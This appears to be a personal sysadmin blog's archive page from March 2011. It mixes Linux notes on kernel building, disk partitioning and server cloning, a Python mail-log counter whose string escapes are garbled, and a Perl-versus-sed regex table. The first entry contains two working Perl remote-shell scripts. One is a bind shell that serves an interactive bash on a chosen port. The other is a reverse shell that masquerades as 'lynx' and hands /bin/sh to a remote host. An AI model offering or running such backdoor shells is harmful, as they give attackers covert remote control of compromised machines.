Monthly Archives: March 2011

perl bind port

#!/usr/bin/perl
$SHELL="/bin/bash -i";
if (@ARGV < 1) { exit(1); }
$LISTEN_PORT=$ARGV[0];
use Socket;
$protocol=getprotobyname('tcp');
socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket\n";
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port\n";
listen(S,3) || die "Cant listen port\n";
while(1)
{
accept(CONN,S);
if(!($pid=fork))
{
die "Cannot fork" if (!defined $pid);
open STDIN,"<&CONN";
open STDOUT,">&CONN";
open STDERR,">&CONN";
exec $SHELL || die print CONN "Cant execute $SHELL\n";
close CONN;
exit 0;
}
}

——
#!/usr/bin/perl
use Socket;
$cmd= "lynx";
$system= 'echo "BackConnect";echo "`uname -a`";echo "`id`";/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);

debian kernel build cheatsheet

$ aptitude install linux-source-2.6.32
or:
$ dpkg-source -x linux-2.6_2.6.38-1.dsc
Edit the EXTRAVERSION entry in Makefile:
EXTRAVERSION = .20110317

$ make mrproper
$ make xconfig # or make menuconfig
$ export CONCURRENCY_LEVEL=16 # this is optional
$ make-kpkg clean
$ make-kpkg –initrd kernel_image
$ cd ..
install:
$ dpkg -i linux-image-2.6.32.20110317.deb
uninstall:
$ dpkg -P linux-image-2.6.32.20110317

new hdd bootstrap for linux

cmd.list:
n
p
1
 
+128M
n
p
2
 
+10G
n
p
3
 
+8G
n
e
 
 
n
 
+24G
n
 
 
a
1
t
3
82
w

export sdx=sdb;
fdisk /dev/${sdx} < cmd.list
———
mkfs -t ext3 /dev/${sdx}1;
mkfs -t ext4 /dev/${sdx}2;
mkfs -t ext4 /dev/${sdx}5;
mkfs -t ext4 /dev/${sdx}6;
#optimal for raid10:
mkfs -t ext3 -b 4096 -E stride=64,stripe-width=128 /dev/${sdx}1;
mkfs -t ext4 -b 4096 -E stride=64,stripe-width=128 /dev/${sdx}2;
mkfs -t ext4 -b 4096 -E stride=64,stripe-width=128 /dev/${sdx}5;
mkfs -t ext4 -b 4096 -E stride=64,stripe-width=128 /dev/${sdx}6;
tune2fs -m 0 /dev/${sdx}6;
mkswap /dev/${sdx}3;
#—
#mount:
mkdir /mnt/${sdx}2; mount /dev/${sdx}2 /mnt/${sdx}2; mkdir /mnt/${sdx}2/boot; mount /dev/${sdx}1 /mnt/${sdx}2/boot;
mkdir /mnt/${sdx}2/var; mount /dev/${sdx}5 /mnt/${sdx}2/var; mkdir /mnt/${sdx}2/home; mount /dev/${sdx}6 /mnt/${sdx}2/home;
#—
#copy:
ssh root@srv "tar -vpcf - --numeric-owner --exclude=/dev/* --exclude=/proc/* --exclude=/sys/* --exclude /tmp/* --exclude=/var/cache/apt/archives/* / | gzip -1" | gunzip | tar -pxf - --numeric-owner -C /mnt/${sdx}2
#local copy:
#tar -vpcf - --numeric-owner --exclude=/dev --exclude=/proc --exclude=/sys --exclude /tmp --exclude=/mnt/${sdx}2 / | tar -pxf - --numeric-owner -C /mnt/${sdx}2

#or unpack archive:
#scp root@srv:/path/img.tgz . && tar -pxzf img.tgz --numeric-owner -C /mnt/${sdx}2
#—
#sync:
rsync -az -e ssh --delete $syncfrom $syncto
#local sync:
#rsync -av -e ssh --exclude=/home/* --exclude=/mnt/* --exclude=/proc --exclude=/sys --exclude=/dev / /mnt/${sdx}2/

#—
#chroot:
mkdir /mnt/${sdx}2/dev; mkdir /mnt/${sdx}2/proc; sudo mount --bind /dev/ /mnt/${sdx}2/dev; mount --bind /proc/ /mnt/${sdx}2/proc;
chroot /mnt/${sdx}2 /bin/sh; mount sysfs /sys -t sysfs

#—
grub-install /dev/${sdx};
update-grub2

# /etc/fstab corrections usually required !
ls -l /dev/disk/by-uuid/ | awk {'print $9" "$10$11'}
# [!] change ip address and rename server:
/etc/network/interfaces
/etc/postfix/main.cf
/etc/hostname
/etc/hosts
/etc/mailname
/var/run/motd
#—
# remove previous persistent net rules:
rm /etc/udev/rules.d/70-persistent-net.rules
#—
#unchroot: CTRL+D &&
umount /mnt/${sdx}2/home; umount /mnt/${sdx}2/var; umount /mnt/${sdx}2/boot; umount /mnt/${sdx}2
# shutdown -fr now

python alternative to grep sort uniq

#!/usr/bin/python
import os
import re
from operator import itemgetter
from collections import defaultdict

count_max=24000
mail_to="mailbox@domain"
mail_subj="spammers"
SENDMAIL = "/usr/sbin/sendmail"
data = defaultdict(int)
notify=False

for line in open('/var/log/mail/mail.log.0','r'):
p = re.compile('pickup.*<(w+)>');
s = p.search(line)
if s:
data[s.group(1)] += 1
if (notify==False and data[s.group(1)]>count_max):
notify=True

if notify==True:
m = os.popen("%s -t" % SENDMAIL, "w")
m.write("To: %sn" % mail_to)
m.write("Subject: %sn" % mail_subj)
m.write("n")
for line, count in sorted(data.iteritems(), key=itemgetter(1), reverse=True):
if count>count_max:
m.write("%7d %sn" % (count, line))
#print "%7d %sn" % (count, line),
m.close()

sed regexp hint

http://www.gnu.org/software/sed/manual/sed.html
http://blog.perlover.com/2009/10/29/sed-regexp/

В языке Perl В sed редакторе Пояснение
(…) \(…\) Группировка
{X,Y} \{X,Y\} Заданный множитель
+ \+ Повторитель – один и более раз
? \? Повторитель – один или ноль раз
\bfoo\b \<foo\> поиск ‘foo’ с границами слова
$1, $2 \1, \2 Подмена на группу